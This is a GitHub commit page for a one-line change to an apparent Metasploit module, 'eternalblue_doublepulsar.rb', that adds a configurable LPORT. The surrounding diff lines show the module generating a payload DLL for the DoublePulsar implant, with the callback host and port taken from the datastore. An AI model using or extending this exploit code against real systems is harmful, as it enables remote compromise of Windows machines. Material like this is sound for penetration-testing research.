Skip to content

Commit

Permalink
Merge pull request Telefonica#34 from Ablax/patch-1
Browse files Browse the repository at this point in the history
LPORT customizable
  • Loading branch information
jaesga authored Sep 5, 2017
2 parents f96295c + 50bb41b commit 378ffdc
Showing 1 changed file with 1 addition and 0 deletions.
1 change: 1 addition & 0 deletions eternalblue_doublepulsar.rb
Original file line number Diff line number Diff line change
Expand Up @@ -94,6 +94,7 @@ def exploit
print_status("Generating payload DLL for Doublepulsar")
pay = framework.modules.create(datastore['payload'])
pay.datastore['LHOST'] = datastore['LHOST']
pay.datastore['LPORT'] = datastore['LPORT']
dll = pay.generate_simple({'Format'=>'dll'})
File.open(datastore['WINEPATH']+datastore['DLLName'],'w') do |f|
print_status("Writing DLL in #{dllpayload}")
Expand Down

0 comments on commit 378ffdc

Please sign in to comment.